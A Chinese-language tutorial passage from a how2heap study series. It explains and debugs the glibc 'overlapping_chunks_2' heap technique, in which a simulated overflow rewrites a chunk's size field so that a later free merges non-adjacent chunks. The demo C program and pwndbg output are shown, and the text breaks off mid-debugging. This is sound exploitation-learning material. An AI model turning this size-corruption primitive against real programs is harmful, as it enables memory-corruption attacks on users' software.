how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
1.fastbins的overlapping_chunks_2攻击
同样是堆块重叠的问题,前面那个是在chunk已经被free,加入到了unsorted bin之后,再修改其size值,然后malloc一个不一样的chunk出来,从零开始学howtoheap:理解fastbins的堆块重叠的问题1-CSDN博客。而这里是在 free之前修改size值,使free错误地修改了下一个chunk的prev_size值,导致中间的chunk强行合并。另外前面那个重叠是相邻堆块之间的,而这里是不相邻堆块之间的。
一开始分配 5 个 chunk
chunk p1 从 0x603010 到 0x6033f8
chunk p2 从 0x603400 到 0x6037e8
chunk p3 从 0x6037f0 到 0x603bd8
chunk p4 从 0x603be0 到 0x603fc8
chunk p5 从 0x603fd0 到 0x6043b8
释放掉堆块 p4,在这种情况下不会用 top chunk 合并
假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size
free p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4
这样的话将会 free 掉的 p2 将会包含 p3
现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来
chunk p6 从 0x603400 到 0x603bd8
chunk p3 从 0x6037f0 到 0x603bd8
2.overlapping_chunks_2演示程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main(){
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
fprintf(stderr, "\n一开始分配 5 个 chunk");
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
fprintf(stderr, "\nchunk p1 从 %p 到 %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\nchunk p2 从 %p 到 %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\nchunk p3 从 %p 到 %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\nchunk p4 从 %p 到 %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\nchunk p5 从 %p 到 %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);
fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
free(p4);
fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
free(p2);
fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);
fprintf(stderr, "\nchunk p6 从 %p 到 %p", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "\nchunk p3 从 %p 到 %p\n", p3, (unsigned char *) p3+real_size_p3);
fprintf(stderr, "\np3 中的内容: \n\n");
fprintf(stderr, "%s\n",(char *)p3);
fprintf(stderr, "\n往 p6 中写入\"F\"\n");
memset(p6,'F',1500);
fprintf(stderr, "\np3 中的内容: \n\n");
fprintf(stderr, "%s\n",(char *)p3);
}
3.调试overlapping_chunks
3.1 获得可执行程序
gcc -g overlapping_chunks_2.c -o overlapping_chunks_2
3.2 第一次调试程序
root@pwn_test1604:/ctf/work/how2heap# gcc -g overlapping_chunks_2.c -o overlapping_chunks_2
root@pwn_test1604:/ctf/work/how2heap# gdb ./overlapping_chunks_2
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./overlapping_chunks_2...done.
pwndbg> r
Starting program: /ctf/work/how2heap/overlapping_chunks_2
一开始分配 5 个 chunk
chunk p1 从 0x603010 到 0x6033f8
chunk p2 从 0x603400 到 0x6037e8
chunk p3 从 0x6037f0 到 0x603bd8
chunk p4 从 0x603be0 到 0x603fc8
chunk p5 从 0x603fd0 到 0x6043b8
释放掉堆块 p4,在这种情况下不会用 top chunk 合并
假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size
free p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4
这样的话将会 free 掉的 p2 将会包含 p3
现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来
chunk p6 从 0x603400 到 0x603bd8
chunk p3 从 0x6037f0 到 0x603bd8
p3 中的内容:
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�
往 p6 中写入"F"
p3 中的内容:
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�
[Inferior 1 (process 131) exited normally]
pwndbg>
3.3 第二次调试程序
3.3.1 设置断点第37行并走起
我们需要五个堆块,假设第chunk 1存在溢出,可以改写第二个chunk 2的数据,chunk 5的作用是防止释放chunk 4后,被合并进top chunk。所以我们要重叠的区域是chunk 2到chunk 4。
首先申请5个chunk,分别是p1,p2,p3,p4,p5。
pwndbg> b 37
Breakpoint 1 at 0x4008fc: file overlapping_chunks_2.c, line 37.
pwndbg> c
The program is not being run.
pwndbg> r
Starting program: /ctf/work/how2heap/overlapping_chunks_2
一开始分配 5 个 chunk
chunk p1 从 0x603010 到 0x6033f8
chunk p2 从 0x603400 到 0x6037e8
chunk p3 从 0x6037f0 到 0x603bd8
chunk p4 从 0x603be0 到 0x603fc8
chunk p5 从 0x603fd0 到 0x6043b8
Breakpoint 1, main () at overlapping_chunks_2.c:38
38 fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x603fd0 ◂— 0x4545454545454545 ('EEEEEEEE')
RBX 0x0
RCX 0xffffffd8
RDX 0x3e8
RDI 0x604360 ◂— 0x4545454545454545 ('EEEEEEEE')
RSI 0x6043b8 ◂— 0x1fc51
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x24
R10 0x34e
R11 0x7ffff7b7f970 (__memset_avx2) ◂— vpxor xmm0, xmm0, xmm0
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400af0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe560 ◂— 0x1f7ffe168
RIP 0x4008fc (main+550) ◂— mov rax, qword ptr [rip + 0x20175d]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4008fc <main+550> mov rax, qword ptr [rip + 0x20175d] <0x602060>
0x400903 <main+557> mov rcx, rax
0x400906 <main+560> mov edx, 0x43
0x40090b <main+565> mov esi, 1
0x400910 <main+570> mov edi, 0x400c10
0x400915 <main+575> call fwrite@plt <0x4005c0>
0x40091a <main+580> mov rax, qword ptr [rbp - 0x18]
0x40091e <main+584> mov rdi, rax
0x400921 <main+587> call free@plt <0x400560>
0x400926 <main+592> mov rax, qword ptr [rip + 0x201733] <0x602060>
0x40092d <main+599> mov rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/overlapping_chunks_2.c
33 memset(p2,'B',real_size_p2);
34 memset(p3,'C',real_size_p3);
35 memset(p4,'D',real_size_p4);
36 memset(p5,'E',real_size_p5);
37
► 38 fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
39 free(p4);
40
41 fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
42 *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
43 fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 ◂— 0x1f7ffe168
01:0008│ 0x7fffffffe568 ◂— 0x3e8000003e8
... ↓
03:0018│ 0x7fffffffe578 ◂— 0x3e8
04:0020│ 0x7fffffffe580 —▸ 0x603010 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│ 0x7fffffffe588 —▸ 0x603400 ◂— 0x4242424242424242 ('BBBBBBBB')
06:0030│ 0x7fffffffe590 —▸ 0x6037f0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│ 0x7fffffffe598 —▸ 0x603be0 ◂— 0x4444444444444444 ('DDDDDDDD')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4008fc main+550
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/overlapping_chunks_2.c:37
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x3f0 Used None None
0x6033f0 0x4141414141414141 0x3f0 Used None None
0x6037e0 0x4242424242424242 0x3f0 Used None None
0x603bd0 0x4343434343434343 0x3f0 Used None None
0x603fc0 0x4444444444444444 0x3f0 Used None None
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x3f0 Used None None p1
0x6033f0 0x4141414141414141 0x3f0 Used None None p2
0x6037e0 0x4242424242424242 0x3f0 Used None None p3
0x603bd0 0x4343434343434343 0x3f0 Used None None p4
0x603fc0 0x4444444444444444 0x3f0 Used None None p5
一开始分配 5 个 chunk
chunk p1 从 0x603010 到 0x6033f8
chunk p2 从 0x603400 到 0x6037e8
chunk p3 从 0x6037f0 到 0x603bd8
chunk p4 从 0x603be0 到 0x603fc8
chunk p5 从 0x603fd0 到 0x6043b8
3.3.2 设置断点第41行并走起
然后free掉p4,p4被放入unsorted bin。
pwndbg> b 41
Breakpoint 2 at 0x400926: file overlapping_chunks_2.c, line 41.
pwndbg> c
Continuing.
释放掉堆块 p4,在这种情况下不会用 top chunk 合并
Breakpoint 2, main () at overlapping_chunks_2.c:41
41 fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x1
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x0
RDI 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RSI 0x0
R8 0x43
R9 0x1
R10 0x8b8
R11 0x7ffff7a914f0 (free) ◂— push r13
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400af0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe560 ◂— 0x1f7ffe168
RIP 0x400926 (main+592) ◂— mov rax, qword ptr [rip + 0x201733]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400910 <main+570> mov edi, 0x400c10
0x400915 <main+575> call fwrite@plt <0x4005c0>
0x40091a <main+580> mov rax, qword ptr [rbp - 0x18]
0x40091e <main+584> mov rdi, rax
0x400921 <main+587> call free@plt <0x400560>
► 0x400926 <main+592> mov rax, qword ptr [rip + 0x201733] <0x602060>
0x40092d <main+599> mov rcx, rax
0x400930 <main+602> mov edx, 0x4c
0x400935 <main+607> mov esi, 1
0x40093a <main+612> mov edi, 0x400c58
0x40093f <main+617> call fwrite@plt <0x4005c0>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/overlapping_chunks_2.c
36 memset(p5,'E',real_size_p5);
37
38 fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
39 free(p4);
40
► 41 fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
42 *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
43 fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
44 fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
45 free(p2);
46
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 ◂— 0x1f7ffe168
01:0008│ 0x7fffffffe568 ◂— 0x3e8000003e8
... ↓
03:0018│ 0x7fffffffe578 ◂— 0x3e8
04:0020│ 0x7fffffffe580 —▸ 0x603010 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│ 0x7fffffffe588 —▸ 0x603400 ◂— 0x4242424242424242 ('BBBBBBBB')
06:0030│ 0x7fffffffe590 —▸ 0x6037f0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│ 0x7fffffffe598 —▸ 0x603be0 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6043b0 ◂— 0x4545454545454545 ('EEEEEEEE')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400926 main+592
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/overlapping_chunks_2.c:41
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603bd0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603bd0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x3f0 Used None None
0x6033f0 0x4141414141414141 0x3f0 Used None None
0x6037e0 0x4242424242424242 0x3f0 Used None None
0x603bd0 0x4343434343434343 0x3f0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x603fc0 0x3f0 0x3f0 Used None None
pwndbg>
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603bd0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603bd0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x3f0 Used None None
0x6033f0 0x4141414141414141 0x3f0 Used None None
0x6037e0 0x4242424242424242 0x3f0 Used None None
0x603bd0 0x4343434343434343 0x3f0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x603fc0 0x3f0 0x3f0 Used None None
pwndbg>
3.3.3 设置断点第42行并走起
接下来是最关键的一步,利用chunk 1的溢出漏洞,将chunk 2的size值修改为chunk 2和chunk 3的大小之和,即0x3f0+0x3f0+0x1=0x7e1,最后的1是标志位。
pwndbg> n
假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size
42 *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x4c
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x400c00 ◂— mov ebx, 0x7025208e
R8 0x4c
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400af0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe560 ◂— 0x1f7ffe168
RIP 0x400944 (main+622) ◂— mov edx, dword ptr [rbp - 0x48]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x40092d <main+599> mov rcx, rax
0x400930 <main+602> mov edx, 0x4c
0x400935 <main+607> mov esi, 1
0x40093a <main+612> mov edi, 0x400c58
0x40093f <main+617> call fwrite@plt <0x4005c0>
► 0x400944 <main+622> mov edx, dword ptr [rbp - 0x48]
0x400947 <main+625> mov rax, qword ptr [rbp - 0x30]
0x40094b <main+629> add rax, rdx
0x40094e <main+632> mov ecx, dword ptr [rbp - 0x44]
0x400951 <main+635> mov edx, dword ptr [rbp - 0x40]
0x400954 <main+638> add ecx, edx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/overlapping_chunks_2.c
37
38 fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
39 free(p4);
40
41 fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
► 42 *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
43 fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
44 fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
45 free(p2);
46
47 fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 ◂— 0x1f7ffe168
01:0008│ 0x7fffffffe568 ◂— 0x3e8000003e8
... ↓
03:0018│ 0x7fffffffe578 ◂— 0x3e8
04:0020│ 0x7fffffffe580 —▸ 0x603010 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│ 0x7fffffffe588 —▸ 0x603400 ◂— 0x4242424242424242 ('BBBBBBBB')
06:0030│ 0x7fffffffe590 —▸ 0x6037f0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│ 0x7fffffffe598 —▸ 0x603be0 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6043b0 ◂— 0x4545454545454545 ('EEEEEEEE')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400944 main+622
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> n
43 fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x6033f8 ◂— 0x7e1
RBX 0x0
RCX 0x7d0
RDX 0x7e1
RDI 0x2
RSI 0x400c00 ◂— mov ebx, 0x7025208e
R8 0x4c
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400af0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe560 ◂— 0x1f7ffe168
RIP 0x400960 (main+650) ◂— mov rax, qword ptr [rip + 0x2016f9]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400960 <main+650> mov rax, qword ptr [rip + 0x2016f9] <0x602060>
0x400967 <main+657> mov rcx, rax
0x40096a <main+660> mov edx, 0x68
0x40096f <main+665> mov esi, 1
0x400974 <main+670> mov edi, 0x400ca8
0x400979 <main+675> call fwrite@plt <0x4005c0>
0x40097e <main+680> mov rax, qword ptr [rip + 0x2016db] <0x602060>
0x400985 <main+687> mov rcx, rax
0x400988 <main+690> mov edx, 0x33
0x40098d <main+695> mov esi, 1
0x400992 <main+700> mov edi, 0x400d18
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/overlapping_chunks_2.c
38 fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
39 free(p4);
40
41 fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
42 *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
► 43 fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
44 fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
45 free(p2);
46
47 fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
48 p6 = malloc(2000);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 ◂— 0x1f7ffe168
01:0008│ 0x7fffffffe568 ◂— 0x3e8000003e8
... ↓
03:0018│ 0x7fffffffe578 ◂— 0x3e8
04:0020│ 0x7fffffffe580 —▸ 0x603010 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│ 0x7fffffffe588 —▸ 0x603400 ◂— 0x4242424242424242 ('BBBBBBBB')
06:0030│ 0x7fffffffe590 —▸ 0x6037f0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│ 0x7fffffffe598 —▸ 0x603be0 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6043b0 ◂— 0x4545454545454545 ('EEEEEEEE')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400960 main+650
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x3f0 Used None None
0x6033f0 0x4141414141414141 0x7e0 Used None None
0x603bd0 0x4343434343434343 0x3f0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x603fc0 0x3f0 0x3f0 Used None None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603bd0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603bd0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x6033f0
0x6033f0: 0x4141414141414141 0x00000000000007e1
0x603400: 0x4242424242424242 0x4242424242424242
0x603410: 0x4242424242424242 0x4242424242424242
0x603420: 0x4242424242424242 0x4242424242424242
0x603430: 0x4242424242424242 0x4242424242424242
pwndbg>
pwndbg> x/10gx 0x6033f0
0x6033f0: 0x4141414141414141 0x00000000000007e1 伪造的size
0x603400: 0x4242424242424242 0x4242424242424242
0x603410: 0x4242424242424242 0x4242424242424242
0x603420: 0x4242424242424242 0x4242424242424242
0x603430: 0x4242424242424242 0x4242424242424242
3.3.4 设置断点第46行并走起
这样当我们释放chunk 2的时候,malloc根据这个被修改的size值,会以为chunk 2加上 chunk 3的区域都是要释放的,然后就错误地修改了chunk 5的 prev_size。接着,它发现紧邻的一块chunk 4也是 free 状态,就把它俩合并在了一起,组成一个大free chunk,放进unsorted bin中。
Breakpoint 3 at 0x4009a8: file overlapping_chunks_2.c, line 46.
pwndbg> c
Continuing.
free p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4
这样的话将会 free 掉的 p2 将会包含 p3
Breakpoint 3, main () at overlapping_chunks_2.c:47
